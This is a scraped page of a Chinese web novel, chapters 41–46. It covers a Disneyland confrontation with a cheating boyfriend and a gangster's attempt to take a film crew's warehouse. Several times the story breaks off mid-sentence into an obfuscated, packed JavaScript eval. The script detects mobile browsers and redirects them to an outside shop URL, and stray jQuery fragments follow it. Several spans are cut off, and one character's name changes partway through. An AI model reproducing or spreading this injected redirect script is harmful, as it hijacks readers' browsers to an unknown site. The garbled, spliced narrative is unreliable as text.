“我的天,太刺激了!” 她拍着胸口,声音还带着没缓过来的颤音,“那个垂直俯冲我魂都飞出去了!我刚才真以为安全带要断了!” 她抬起头,看见一旁的菲伊一脸淡定,连呼吸都没乱几分,顿时瞪大眼睛:“菲伊你是怪物吗?居然一点反应都没有?脸都没白一下!” 菲伊“噗嗤”一笑,俏皮地朝她眨眨眼睛,“你怎么知道我不是强装镇定呢?”说着,抬手指着不远处一家冰淇淋店,“前面那家店里看上去蛮受欢迎的,我们去买个甜筒压压惊?” “必须去!双倍巧克力封顶!”凯瑟琳立刻满血复活,拉着菲伊就往不远处的彩色小房子跑。 店内人声鼎沸,奶油、鲜果与焦糖的甜香交织弥漫,满是情侣和孩童的欢声笑语。 凯瑟琳兴冲冲趴在柜台前,踮脚对着菜单叽叽喳喳挑选口味,余光无意间扫过靠窗的卡座,动作倏地顿住。 所有笑意瞬间从她脸上褪去。 靠窗的卡座视野绝佳,阳光透过落地玻璃斜斜洒落,清晰照亮了里面的两人。 凯瑟琳的男友克莱蒙慵懒靠着椅背,手臂圈着一个穿粉色吊带蓬蓬裙的女生,姿态亲昵至极。 女生生得娇俏白净,眉眼带媚,捏着一把小银勺,挖了满满一勺绵密的草莓冰淇淋,仰头笑着递到克莱蒙唇边。 克莱蒙低头张口吃下,指尖顺势摩挲过女生的唇角,还低头轻笑低语,眉眼间的温柔,是凯瑟琳从未见过的宠溺。 两人头挨着头,气息相融,你一口我一口共享一份冰淇淋,暧昧黏腻的氛围,隔着三米远都能感觉得到。 凯瑟琳手里的钱包“啪”地掉在地上,她怔怔地看着那一幕,脸色唰地变白。 一秒、两秒、三秒,极致的错愕过后,滚烫的怒火迅速席卷全身,顺着血液烧遍四肢百骸。 菲伊清晰地看到,她的脸色由白转青,最后涨得通红,指尖猛地攥紧。 没等菲伊出声,凯瑟琳已经踩着高跟鞋,带着一身凛冽的戾气,大步冲过去。 42.第42章 “克莱蒙!” 一声怒喝在店内炸开,霎时间压过了所有嘈杂的交谈声。 全场安静下来,大伙的目光不约而同地聚焦在靠窗的卡座上,看热闹的目光密密麻麻围了过来。 克莱蒙浑身一僵,待看清来人时,脸上的温柔笑意陡然碎裂。他慌乱地一把推开怀里的女生,仓促起身:“凯、凯瑟琳?你怎么会在这里?” 一旁的粉裙女生也慢悠悠站起来,右手轻轻搭在克莱蒙的胳膊上,问:“克莱蒙,这位姐姐是谁呀?” 见凯瑟琳的目光都要喷出火来了,克莱蒙飞速甩开女生的手,急忙向凯瑟琳解释: “这是我邻居家的妹妹爱丽斯,她本来和同学约好来迪士尼玩的,但被放了鸽子,我才、才过来陪陪她。” “邻居家的妹妹?”凯瑟琳眯了眯眼,又朝前走了一步,“呵,你俩关系很好嘛,都好到可以抱在一起、互喂冰淇淋了?” 爱丽斯怯生生地绞着裙摆,眼眶瞬间泛红,像只受惊的小兔子。她低着头,声音细若蚊蚋,还带着点哭腔: “姐姐对不起,都怪我,是我觉得冰淇淋太贵,所以只买了一个,你别生克莱蒙的气……我们只是一起长大的朋友,他一直把我当亲妹妹看的。” 她说着,偷偷抬眼瞟了凯瑟琳一眼,又飞快低下头,肩膀微微颤抖,一副受了天大委屈的模样。 菲伊本不欲插手凯瑟琳的私事,可见到眼前这女人一副小白花做派,把凯瑟琳衬得像个蛮不讲理的恶霸,眉头立马皱了起来。 她往前跨了一步,挡在凯瑟琳身前,目光平静地落在爱丽斯身上。 “这位小姐,请问你今年几岁了?” 爱丽斯愣了一下,没想到会突然有人问她这个,下意识地回答:“十、十七。” “哦,十七啊。” 菲伊点点头,慢悠悠地上下扫了她一眼,目光最后落在桌上那把银勺上,轻嗤一声,“我还以为只有三岁呢。毕竟谁家十七岁的姑娘,还要别人的男朋友喂冰淇淋吃啊?” 她微微歪头,眼中满是嘲讽:“你也没缺胳膊少腿啊,怎么?生活不能自理吗?” 话音刚落,旁边立刻传来一阵压抑的嗤笑声。 “哈哈哈说得对啊,这么大了还要人喂。” “装什么纯啊,摆明了是个碧池!” “邻居妹妹?得了吧,我看是床上的妹妹还差不多。” 莉莉的脸“唰”地一下涨得通红,像被人狠狠扇了一巴掌。 眼泪瞬间涌了上来,她咬着嘴唇往后缩了缩,躲到克莱蒙身后,委屈得声音都哽咽了:“克莱蒙,我真不是故意的……她怎么能这么说我?” 克莱蒙见爱丽斯哭得梨花带雨,顿时血气上涌,他把爱丽斯护在身后,指着菲伊怒吼:“你说话太过分了,快给爱丽斯道歉!” “你敢吼她?!” 凯瑟琳立马炸了,撸起袖子就要冲上去,却被菲伊伸手拦住。 菲伊气定神地抱着胳膊,挑眉看着克莱蒙:“我哪句话过分了?” “你骂她是残废!”克莱蒙脱口而出。 “我什么时候说过这话了?”菲伊一脸无辜,转头看向周围的吃瓜群众,扬了扬下巴,“在场的各位都听见了吧?这话可是他自己说的,我一个字都没提。” “对!我们都听见了!” “就是这男的自己说的!” “人家只是问能不能生活自理而已。” 起哄声一浪高过一浪,克莱蒙被怼得哑口无言,脸憋成猪肝色,手指着菲伊半天憋不出一个屁。 他没办法,只能转头看向抱着胳膊冷笑的凯瑟琳,放软声音道:“凯瑟琳,别闹了好不好?这么多人看着太丢人了。都是误会,有什么事我们回家说,我慢慢跟你解释。” “解释?” 凯瑟琳猛地甩开他的手。 “解释什么?是解释你们没有贴得跟连体婴似的?还是解释你们没有共用一把勺子,你一口我一口?或者解释你没有借着‘乐队排练’的借口,背着我跑来迪士尼跟别人私会?” 凯瑟琳每说一句,两人的脸色愈发难看一分,偏偏她说的都是事实,让他们无法反驳。 克莱蒙又臊又慌,手足无措地还想再去拉她。 凯瑟琳侧身躲开,抬手就把桌上那碗还剩大半的草莓冰淇淋,结结实实地扣在了他的脑门上。 冰凉的奶油混着鲜红的果酱,顺着他的头发流淌下来,糊满了他的脸和脖子,五颜六色的糖碎黏在发丝上,要多狼狈有多狼狈。 全场先是静了一秒,接着就响起一阵叫好声。 凯瑟琳眼底泛红,声音里满是失望透顶的嘲讽:“克莱蒙,你哄我的时候说得天花乱坠,说我是你心里的唯一,说再也不会让我受一点委屈。现在看来,你的唯一,还真是廉价又多变啊。” 躲在克莱蒙身后的爱丽斯见他被当众羞辱,立刻收起柔弱模样,抬眼挑衅地看向凯瑟琳,语气带着阴阳怪气: “你没必要这么咄咄逼人吧?不过是一碗冰淇淋而已,至于当众让他难堪吗?你这么强势,怪不得克莱蒙受不了你。” 这话彻底点燃了凯瑟琳最后的怒火。 她转头看向女生,眼中的厌恶几乎要实质化:“我咄咄逼人?他是我男朋友,你贴着我的男人撒娇发骚,抢了我的东西,你还有脸跟我谈体面?” “你胡说!我没有抢,是你们感情不好,克莱蒙本来就不开心!”女生急得拔高声音,强行辩解。 “哦?”凯瑟琳挑眉,气场全开,“所以你就上赶着当替补?别人不要的垃圾,你捡得这么心甘情愿?眼光还真是独特。” “你、你太过分了!”女生气得脸色发白,抬手就要朝凯瑟琳扇过去。 菲伊眼疾手快,迅速上前,抬手拦下她的动作,冷冷道:“公共场合,若真动手就不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走出众人的视线,刚才强撑着的所有坚强顷刻间崩塌,凯瑟琳脚步一顿,肩膀剧烈颤抖了两下。 下一秒,她再也忍不住蹲下身,抱着膝盖,埋头痛哭出来。 所有的委屈、失望、真心错付的难堪,全部化作滚烫的泪水,肆意宣泄出来。 “我真的以为,这次遇到的是真心对我的人……”她哽咽着,断断续续,“我明明那么认真……为什么又被骗了……” 菲伊默默蹲在她身边,轻轻拍着她颤抖的后背,没有多说安慰的话。有些情绪,唯有宣泄殆尽,才能真正释怀。 良久,凯瑟琳才慢慢抬起头,胡乱抹掉脸上的泪痕,眼底的脆弱褪去,重新染上倔强的光亮。 她深吸一口气,缓缓起身,抬手拍掉裙摆上的灰尘,恨声道:“一个渣男而已,不值得我浪费眼泪!” 她转头看向菲伊,勉强扯出一抹笑,拽住她的手,“走!不吃那家冰淇淋了!我们去买园区最贵的限定款,今天本小姐解放自我,彻底狂欢,庆祝自己恢复单身!” 菲伊看着她重新恢复鲜活张扬的模样,悬着的心终于落地。她忍不住弯起嘴角,伸手牢牢挽住凯瑟琳的胳膊,鼓劲道: “好!今天咱们把所有好吃的都吃个遍,所有刺激的都玩过瘾!” 43.第43章 《落水狗》开机这天,洛杉矶某街区的一处仓库外闹出了不小的动静。 菲伊天刚亮就拉着凯瑟琳跑了趟唐人街,扛回一个油光锃亮的酱猪头,摆上苹果、酒水和香炉,在仓库空地上搭了个像模像样的供桌。 等昆顿顶着一头乱发、穿着人字拖赶到时,正看见菲伊拿着打火机点香,动作虔诚得不像话。 “菲伊?你这是……要办烧烤派对?” 昆顿凑过去,盯着那个猪头咽了咽口水,“我就说你最懂我,开机第一天就搞这么丰盛!” 劳伦斯也一脸茫然:“不对啊,我怎么看着像唐人街那些祠堂里的摆设?菲伊,你信这个?” “这可是我们东方流传了几千年的开机祈福仪式。”菲伊一本正经地把香分给众人,“全都拜一拜,保佑拍摄顺顺利利,不出意外,票房大卖。心诚则灵啊。” 一群老外面面相觑,手里捏着香,你看我我看你,谁也不敢先动。 最后还是昆顿第一个凑上去,学着菲伊的样子举着香拜了三拜,嘴里还念念有词:“保佑我的电影能拍完、顺利上映!” 他拜得太用力,差点一头磕在供桌上。 劳伦斯紧随其后,嘴里念叨着“保佑不超支,保佑演员不罢演,保佑老爸别天天查账”。 凯瑟琳举着香憋笑憋得肩膀直抖,偷偷拍了好几张照片,说要发给佩妮看。 闹哄哄的仪式刚结束,凯瑟琳就把脚边两个巨大的保温箱往地上一放,掀开盖子:“好了好了,开工前先吃早餐!双层牛肉堡、烟熏三文鱼三明治、冰拿铁,管够!” 劳伦斯本来还皱着眉,偷偷跟菲伊嘀咕:“她一个大小姐,连咖啡机都不会用,来剧组不是添乱吗?” 结果听到“管够”两个字,眼睛瞬间亮了。 不等他再说什么,凯瑟琳叉着腰扭头对他道:“先说好了啊,我来可不是凑热闹的。 第一,我一分钱工资不要;第二,整个拍摄期间,剧组所有人的三餐、咖啡、下午茶我全包了;第三,场记、道具、后勤什么活我都能干,你们随便使唤。” 菲伊笑着拍了拍她的肩膀。 她太清楚凯瑟琳为什么突然跑来剧组打白工了。 迪士尼那场撕逼之后,凯瑟琳哭了整整一个晚上。第二天红着眼睛跟她说,她想通了,男人没一个靠得住,与其把时间浪费在谈恋爱上,不如搞自己的事业。 当初她来南加大读电影制作,纯粹是为了前男友埃里克,专业都是随便选的,开学大半个学期,连教室门都没进过几次。 现在失恋了,反而清醒了。 看着菲伊有条不紊地谈投资、开公司、筹备电影,她忽然顿悟了,与其围着男人转,不如自己活得漂亮。 “正好我专业对口,来剧组实地学习,比在教室里听教授念经强多了。”凯瑟琳拍了拍胸脯,“放心,我绝对不拖后腿!要是干不好,你们随时把我赶出去。” “哎呀说什么赶出去!”劳伦斯立马换了副嘴脸,热情地帮她拎保温箱,“凯瑟琳你能来真是太好了!剧组正缺个管后勤的,你来了简直是雪中送炭!欢迎欢迎,热烈欢迎!” 菲伊在旁边看得直乐。昨天还在吐槽“大小姐只会帮倒忙”的人,这么快就被糖衣炮弹收买了。 事实证明,凯瑟琳干起活来一点不含糊。 虽然第一天确实闹了不少笑话,搬反光板摔了个屁股蹲,记场记单把“3号镜”写成“8号镜”,订盒饭忘了给素食的美术指导单独准备等等。 但她学得飞快,性格又大大咧咧没架子,谁喊她帮忙都乐呵呵的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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正在说笑的工作人员一下子安静下来,脸上露出惊慌之色。 最后一辆车的车门打开,一个男人慢悠悠地走下来。 他大概三十五六岁,脸型方正宽大,颧骨高耸,皮肤是常年混街头的粗粝感。 身上穿着一件墨绿色的丝绸衬衫,领口松垮地敞开,外面套着一件黑色马甲,深色的软呢帽下,露出一双阴鸷的眼睛,像毒蛇一样扫过在场的每一个人。 认出男人的瞬间,昆顿的脸色“唰”地沉了下去,他往前跨了一步,皱眉道:“曼尼奇?你来这里干什么?” 男人抬起头,斜睨了昆顿一眼,嘴角撇出一抹冰冷的笑意。 “哟,这不是塔伦特大导演吗?我还以为你那破剧本永远拍不出来呢,怎么,终于凑够钱开机了?” 劳伦斯心里咯噔一下,怕昆顿与对方起冲突,赶忙快步迎上去,从口袋里掏出烟递到男人面前,笑着道:“曼尼奇先生,大驾光临,有失远迎。不知道您今天过来,有什么指教?” 曼尼奇轻轻抬手,金色腕表在暮色里闪了一下,挡住劳伦斯递过来的烟,眼神里满是不屑。 “指教不敢当。” 他目光扫过仓库里的摄影机、灯光和布景,露出一个意味深长的笑容,“我只不过是来收回自己的东西而已。” “您的东西?”劳伦斯一愣,“这话是什么意思?” 曼尼奇勾勾唇,皮鞋尖轻轻踢了踢脚下的水泥地,“这个仓库,现在是我的了。我要把它收回。” “你胡说八道什么?!”昆顿攥紧拳头,怒目而视,“这仓库明明是约翰的!什么时候变成你的了?” “约翰·韦斯莱吗?”曼尼奇嗤笑一声,微微侧了侧头。 旁边的一名打手立刻上前,递过一个牛皮纸文件袋。曼尼奇连手都没伸,只是朝昆顿抬了抬下巴,语气轻慢得像在打发乞丐。 “你们自己看吧。这是他几天前跟我签的抵押协议,还有公证过的产权转让书。他在我的赌场输了50万,拿他家的房子和这个破仓库抵的债。” “现在,这里的一砖一瓦,都是我的了。” “不可能!” 昆顿一把夺过文件袋,抽出里面的纸,一页页翻看,签名处确实是约翰的字迹,一旁还有公证处的钢印,日期清清楚楚写着上周。 “这不可能……”昆顿的声音一下子低了下去,他死死盯着那个签名,像是要把纸看穿,“约翰怎么会把仓库抵给你?他明知道这个仓库对我们多重要,怎么会把他抵出去!” “他欠我钱的时候可没想起你们。”曼尼奇抱着胳膊,好整以暇地看着他,“若是还不信?你自己打电话问他。” 昆顿咬着牙,抽出别在腰间的大哥大,手指哆嗦地拨通了约翰的号码。 电话响了很久才被接起,不知道对面说了什么,昆顿的脸色一点点变得惨白,握着电话的手越攥越紧,最后“啪”地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814037|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一声挂了电话。 劳伦斯紧张地看着他:“怎么样?” 昆顿低着头,肩膀彻底垮了下来:“是真的。他上周赌红了眼,把房子和仓库全输了,现在还欠曼尼奇8万。” 这话一出,整个剧组的人都傻眼了。他们辛辛苦苦筹备了这么久,好不容易开机,居然连拍戏的地方都不是自己的了。 曼尼奇伸手拿回文件,讥笑地看着他们:“现在信了?”说着,抬手轻轻挥了挥,“动手!把不属于这里的东西,全部给我扔出去!” 身后的打手们立刻握紧了钢管,气势汹汹地朝仓库内走来。 “慢着!” 一道清脆的声音骤然响起,一众打手的脚步不由一顿,下意识地转过头,看向声音传来的方向。 菲伊轻轻拨开护在她前面的凯瑟琳和埃文,从人群后面走出来。 曼尼奇挑挑眉,抬手示意手下先停下。 菲伊在他三步外站定,脸上没有丝毫慌乱,眼神冷冷地看着对方,“曼尼奇先生,先别急着动手,我们谈谈。” 曼尼奇眯起眼睛打量了她一圈,嘴角的讥笑更浓了,扭头冲劳伦斯吹了声口哨:“劳伦斯,你不是跟我说这片子里没有女主角吗?怎么,偷偷加的?长得倒是挺漂亮。” “您误会了。”菲伊直直地迎上曼尼奇阴鸷的目光,唇角微微勾起。 “我是这部电影的投资人。” “菲伊·温斯洛。” 45.第45章 菲伊平静地看着曼尼奇,道:“曼尼奇先生,既然这里是您的资产,不如我们做笔交易。这个仓库,我买了,如何?” 曼尼奇像是听到了天大的笑话,突然放声大笑起来。他笑了好一会儿,才擦了擦眼角,斜睨着菲伊:“买?小姑娘,你看我像缺那仨瓜俩枣的人吗?” 他往前凑近一步,呼出的热气都快喷到菲伊脸上了,眼中的恶意毫不掩饰: “我今天来,就是想看看,当初敢拒绝我的人,现在有多狼狈。没了这个仓库,你们的破电影还怎么拍!” “你他妈就是故意报复!”昆顿瞬间炸了,“当初是你自己要改我的剧本,要加脱衣舞娘和爱情戏,我不同意你就怀恨在心!你这个卑鄙小人!” 说着,他撸起袖子就要冲上去。 “昆顿,别冲动!”劳伦斯连忙死死按住他,急得脸都白了,“现在动手我们吃亏!” 菲伊侧过头,低声问劳伦斯:“怎么回事?” 劳伦斯咬着牙,飞快解释:“上个月我们找他拉投资,他只肯出10万,还要求删掉所有暴力镜头,加个女主角和床戏。昆顿当场就跟他吵起来了,差点动手打起来,最后不欢而散。没想到他居然记恨到现在,耍这种阴招。” 菲伊了然地点点头。所以曼尼奇根本不是来收仓库的,而是故意来找茬立威的。 今天这事要是解决不好,就算他们换十个仓库,这个人也会像苍蝇一样叮上来。 她深吸一口气,重新看向曼尼奇: “曼尼奇先生,大家都是生意人。华国有句老话,买卖不成仁义在。这个仓库对你来说就是个没用的破房子,放着也是落灰。不如你开个合理的价格,就当交个朋友,以后说不定还有合作的机会。” “交朋友?”曼尼奇不怀好意地上下打量着菲伊,目光在她纤细的腰肢和白皙的脖颈上扫过,嘴角咧开一个猥琐的笑,“好啊,我最喜欢和美人交朋友了。价钱嘛,也不是不能谈——” 他往前凑了凑,声音压低,带着赤裸裸的侮辱,“你陪我三晚,这个仓库,我白送给你。怎么样?很划算吧?” 这话一出,整个仓库都炸开了锅。 “混蛋!你太过分了!”凯瑟琳气得浑身发抖。 “你他妈说什么?!”昆顿眼睛都红了,挣得劳伦斯差点没按住。 劳伦斯的脸沉得能滴出水来,拳头攥得咯咯响:“曼尼奇,你嘴巴放干净点!” 埃文更是一步冲上前,一把将菲伊拉到身后。他的腿肚子都在打颤,声音也带着颤音,却依旧挺直脊背,瞪着曼尼奇:“你、你敢打她的主意试试!我、我们跟你拼了!” “呵。”曼尼奇嗤笑一声,不屑地扫过发怒的众人,目光最后落在埃文身上,“哪里来的弱鸡,也想学别人英雄救美?就你这小身板,我一拳就能打趴下。” 他不耐烦地朝手下挥了挥手:“还愣着干什么?动手!把这里砸个稀巴烂!谁要是敢拦,就给我往死里打!” 那十几个打手们立刻举起钢管,嗷嗷叫着就要冲向那些摄影器材。 “我看谁敢!” 一声清喝骤然炸响。 举着钢管的打手们动作一顿,齐刷刷转过头来。 只见菲伊轻轻推开挡在身前的埃文,走到门口那张还摆着猪头的供桌前。在所有人疑惑的目光中,她抬起右手,掌心朝下,“啪”地一掌拍在桌面上。 “嘭——!” 随着一声巨响,整个仓库都仿佛晃了三晃。桌上的酱猪头蹦了起来,苹果橙子纷纷滚落,香炉翻倒,香灰撒了一地。 所有人都愣住了,保持着刚才的姿势,举着钢管的、骂人的、准备跑的,一个个像被按了暂停键。 没等他们反应过来,就听“咔嚓”的木头断裂声。那张厚实的实木供桌竟顺着菲伊的手掌下方裂开,随即“哗啦”一声轰然坍塌。 酱猪头可怜巴巴地歪在木头堆上,死不瞑目。 刹那间,仓库里安静得能听见灰落地的声音。 “这、这桌子……质量这么差吗?”一个戴眼镜的小场务咽了口唾沫,小声嘀咕,“昨天搬的时候工头还说,这桌子结实得很,能站三个胖子,踩都踩不塌……别是吹牛的吧?” 曼尼奇身边的一个打手不可置信地揉了揉眼睛,小心翼翼地往前走了两步,低头看向那堆烂木头。 突然,他的眼睛猛地瞪大,手指颤抖着指向断裂成几块的桌面:“老、老大!你看!” 曼尼奇皱着眉走过去,心里还在骂底下人竟被一个小姑娘给唬住。可等他顺着打手指的方向一看,脸色“唰”地就变了。 那块最大的桌面碎片上,赫然印着一个清晰的巴掌印。 五指分明,嵌入木头足有半英寸,边缘光滑整齐,像是用模具压出来的一样。 他猛地抬头看向菲伊的右手。 那是一只白皙纤细的手,指甲修剪得干净整齐,没有一点伤痕,皮肤还是细腻的粉色,看起来连瓶盖都拧不开。 难不成,眼前这散落一地木桌残骸,当真是这只手拍出来的?! 菲伊迎着他惊疑不定的目光,嘴角微微一挑,露出一个人畜无害的笑容。随后弯腰捡起一节手腕粗的断木,在手里轻轻掂了掂。 在所有人的注视下,她五指一收。 “咔嚓——”断木应声裂开。 她手指继续用力,原本坚硬的木头竟像饼干一样,在她的掌心一点点变成了细碎的木屑,簌簌簌滑落下来。 做完这一切,她拍了拍手上的木屑,抬起头看向曼尼奇,淡淡笑道:“雕虫小技,让曼尼奇先生见笑了。” 仓库里顿时一片倒吸冷气的声音。 所有人都像看怪物一样看着菲伊,眼睛瞪得溜圆。 凯瑟琳手里的砖头“啪嗒”一声掉在地上。 昆顿张大了嘴,能塞进一个鸡蛋。 埃文更是傻了眼,他一直以为菲伊只是聪明果敢,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17817042|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 想到居然是个……大力士?! 曼尼奇的脸一阵青一阵白。 他在道上混了二十几年,见过能打的,却从没见过这么邪门的。 一个十几岁的小姑娘,细胳膊细腿的,看着风一吹就能倒。结果一掌拍碎实木桌,徒手捏断木头,手掌还一点事都没有! 这还是正常人吗?! 他心思飞转,就凭自己带来的这十几个打手,真动起手来,估计还不够人家一巴掌拍一个的。 看来,今天没法硬碰硬了。 除非……动枪。 这个念头刚冒出来就被他掐灭了。最近条子查得正严,为了这点小事闹出人命,老板那边不好交代。 一番权衡利弊下,曼尼奇收起脸上的嚣张,语气缓和了不少:“是我小看你了,温斯洛小姐。” “好说。”菲伊拍拍手上的木屑,淡淡点头,“现在,我们可以好好谈谈了吗?” 曼尼奇盯着菲伊看了好一会儿,突然咧嘴一笑:“谈当然可以。不过得按我的规矩来。” “你说。” “这个仓库是我在赌桌上赢来的,想拿回去,就得从赌桌上赢回去。”曼尼奇抱着胳膊,看着菲伊,“三天后,晚上八点,凯撒赌场。你跟我赌一把梭/哈。” “你赢了,仓库归你。” “你输了——”他顿了顿,眼神在菲伊脸上转了一圈,“你就来我公司,无偿为我工作一年。不管我让你做什么,你都不能拒绝。” “你这是敲诈!”此话一出,劳伦斯当场炸了,“谁不知道你的赌场出老千!菲伊,别答应他!洛杉矶这么大,还怕找不到拍戏的地方吗?” “对。”昆顿也回过神来,“大不了我们换个地方拍。就算多花点钱,也不能跟他赌!” “菲伊,不能答应,太危险了!”凯瑟琳拉着菲伊的胳膊,急得快哭了,“他肯定会耍诈的!” 所有人都在劝菲伊,只有菲伊自己异常冷静。她知道,曼尼奇这种人,就是属狗皮膏药的,一旦粘上就撕不下来。 今天就算他们放弃这个仓库,明天他也会用别的理由来找麻烦。与其天天被他骚扰,不如一次性解决干净。 她抬手压了压,喧闹的声音慢慢停下来。她看着曼尼奇,一字一句地说:“好,我跟你赌。但我要加一个条件。” “你说。” “如果我赢了,不仅仓库归我,你和你手下所有人,从今以后,永远不能再找《落水狗》剧组任何一个人的麻烦。不管是拍摄期间,还是上映以后。” 菲伊周身的气势陡然变得凌厉,锐利的目光死死锁住对方,“如果你答应,我们就赌。不答应,那今天就鱼死网破,谁也别想好过。” 曼尼奇深深看了她一眼,扬声道:“够爽快!我答应你。” 他抬手压了压帽檐,“三天后,我在赌场恭候温斯洛小姐的大驾。希望你别迟到。” 说罢,便带着一众打手,转身离开了仓库。 46.第46章 直到汽车的引擎声消失在远处,紧绷的气氛才终于缓了缓。 菲伊挺直的肩背慢慢松了下去,她不着痕迹地背过手,缓缓松开攥得死紧的拳头。 她在心里长长地舒了一口气。 好险。 幸亏她急中生智,紧急向系统租借了五分钟的少林大力金刚功,才把曼尼奇一伙硬生生镇住。 真要是爆发冲突,十几个持械的打手冲上来,就算她能放倒几个,剧组里这些手无寸铁的工作人员难免受伤。 器材砸了可以再买,人要是出了事,这部电影就彻底完了。 其实这也算她未雨绸缪。 之前想着要把学武的事提上日程,可不是嘴上说说而已。 在洛杉矶安顿下来后,菲伊一有空就四处转悠,但凡城里叫得上名号的武馆,不管是跆拳道、柔术、拳击还是华国武术,她都挨家挨户摸过底。 虽然暂时还没找到合心意的师傅,却也和不少格斗高手混了个脸熟,刷了不少人的好感值。为的就是以防万一。 没想到,这么快就派上用场了。 这次兑换的【大力金刚功】,来自唐人街“振武社”武馆的馆长陈振华。 此人是正宗少林俗家弟子,一身硬气功练了五十三年,年轻时在佛山一拳打死过鬼子,后来跟着儿子移民来美国,在唐人街开了个武馆。 菲伊借着华裔的身份,时不时跑到武馆套近乎,勉强得了他几分青眼。 刚才短短几分钟,就花了她500美元的租金,不过从效果来看,这笔钱花得相当值。 可见对方是一点没吹牛,手头上有真功夫。 可惜陈振华如今年纪大了,已不再收徒,否则她早就磕头拜师了。 “菲伊!你没事吧?!” 凯瑟琳一把攥住她的手腕。指尖刚碰到菲伊的掌心,她就“呀”了一声,眼眶瞬间红了:“你的手怎么这么凉?全是汗!原来你刚才也在害怕啊,我还以为你天不怕地不怕呢。” “傻子才不怕。” 菲伊笑了笑,抽回手在裤子上擦了擦,“只是不能让他们看出来而已。” 话音刚落,轮胎摩擦地面的尖啸声再次响起。 紧接着是“砰砰砰”一连串的开关门声,听着至少有四五辆车。 仓库里的空气骤然一凝。 众人刚放松下来的神经再次绷紧,一道道目光死死锁向入口。 “不会是曼尼奇那混蛋又带人回来了吧?”昆顿咬着牙,抄起一根木棍,“他要是敢再来,我跟他拼了!” 最先出现的是一排穿着黑色西装的保镖,耳麦线顺着衣领隐入衬衫,右手抵在腰侧的枪套上,下车后,迅速呈扇形散开,将整个仓库入口封锁。 紧随其后,一辆加长凯迪拉克的车门被拉开。 一只锃亮的棕色牛津鞋踩在水泥地上,鞋跟与地面相触,发出一声清脆的轻响。紧接着,一道颀长挺拔的身影从车内走出。 来人穿着一身炭灰色手工西装,面料挺括,衬得肩背宽直、身形挺拔,浅金色短发被晚风拂动了几缕,却丝毫不显凌乱。 他周身气息冷冽如寒冬雪松,清寒疏离的气场与周遭杂乱破败的环境格格不入。 男人微微抬眼,灰蓝色的眸子扫过场内的狼藉时,寒意更甚,周身仿佛萦绕着一层低气压,连周遭空气都凝滞了几分。 一名手拿公文包的男子快步走到他身侧,低声汇报了几句。他微微颔首,脚步未停,径直朝仓库走来。 “阿尔!” 看清来人的瞬间,凯瑟琳紧绷的情绪骤然瓦解,像一只找到港湾的小鸟,立刻冲上前,一头扎进他的怀里。 阿利斯泰尔下意识伸手接住她,手臂微微收紧,将她护在怀里。 他低头仔细打量着妹妹,确认凯瑟琳安然无恙后,眉宇间的冷意褪去些许,周身的寒气也柔和了几分。 “没事了。”他的抬手轻轻拍了拍凯瑟琳的后背,轻声安抚道,“我来了。” 菲伊走上前,眼中带着几分诧异:“阿利斯泰尔,你们怎么会来这里?你不是在亚特兰大吗?” 仓库里的众人见来人并非敌对方,纷纷松了劲,手中的器械也陆续放下。 昆顿挠了挠头,把木棍扔到一边,小声跟劳伦斯嘀咕:“好家伙,这阵仗,比电影还夸张。” 伊森适时上前解释:“布鲁姆先生来洛杉矶出差,昨日刚到。方才接到凯瑟琳小姐的求助电话,便带人赶了过来。” 他没说的是,老板原本要赴一场重要的合作会谈,接到电话后,二话不说,立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820984|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 推迟会面,急匆匆赶来。 菲伊转头看向凯瑟琳。女孩吐了吐舌头,略带窘迫地眨眨眼:“刚才场面太凶险,我趁着混乱偷偷拨了电话求救,没想到阿尔来得这么快。” 阿利斯泰尔松开凯瑟琳,目光转向菲伊,声线低沉平稳,仍带着一丝未散的冷意:“闹事的人呢?你们都没事吧?” “没事,事情已经解决了。”菲伊摇头答道。 “哪里解决了!”凯瑟琳急声反驳,紧接着把曼尼奇上门挑衅、设下赌约的前因后果一股脑说出来,一脸焦急,“他摆明了设局,菲伊要是赴约,根本就是羊入虎口!” 昆顿也面露懊悔:“都怪我,当初我就不该招惹这人。菲伊,你不该答应这场赌局的,曼尼奇是出了名的赌桌高手,更何况还在他的地盘上,你赢不了他的!” 劳伦斯也连连附和,细数曼尼奇赌场里层出不穷的出千伎俩,试图让菲认清其中凶险。 